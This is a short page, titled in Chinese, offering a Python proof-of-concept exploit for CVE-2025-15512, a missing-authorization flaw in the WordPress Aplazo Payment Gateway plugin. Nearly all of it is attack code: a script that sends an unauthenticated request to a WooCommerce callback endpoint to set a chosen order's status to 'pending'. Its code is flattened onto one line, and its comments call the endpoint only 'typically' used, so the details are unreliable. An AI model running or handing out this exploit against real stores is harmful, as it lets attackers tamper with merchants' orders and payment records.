CVE-2025-15512 WordPress Aplazo Payment Gateway插件未授权订单状态修改漏洞

import requests # CVE-2025-15512 PoC - Unauthorized Order Status Modification # Target: WordPress with Aplazo Payment Gateway plugin <= 1.4.3 def exploit_aplazo_cve_2025_15512(target_url, order_id): """ Exploit for missing authorization in check_success_response() Allows unauthenticated attackers to modify WooCommerce order status Parameters: target_url: Base URL of the WordPress site order_id: Target WooCommerce order ID to modify """ # Construct the vulnerable endpoint # The check_success_response() function is typically called via wc-api parameter exploit_url = f"{target_url}/?wc-api=aplazo_check_success" # Payload to set order status to 'pending' # The vulnerable function accepts order_id parameter without validation payload = { 'order_id': str(order_id), 'status': 'pending' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting order ID: {order_id}") print(f"[*] Sending malicious request...") try: response = requests.get(exploit_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Check if order {order_id} status changed to 'pending'") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Example usage if __name__ == "__main__": target = "https://example-store.com" target_order_id = 12345 exploit_aplazo_cve_2025_15512(target, target_order_id)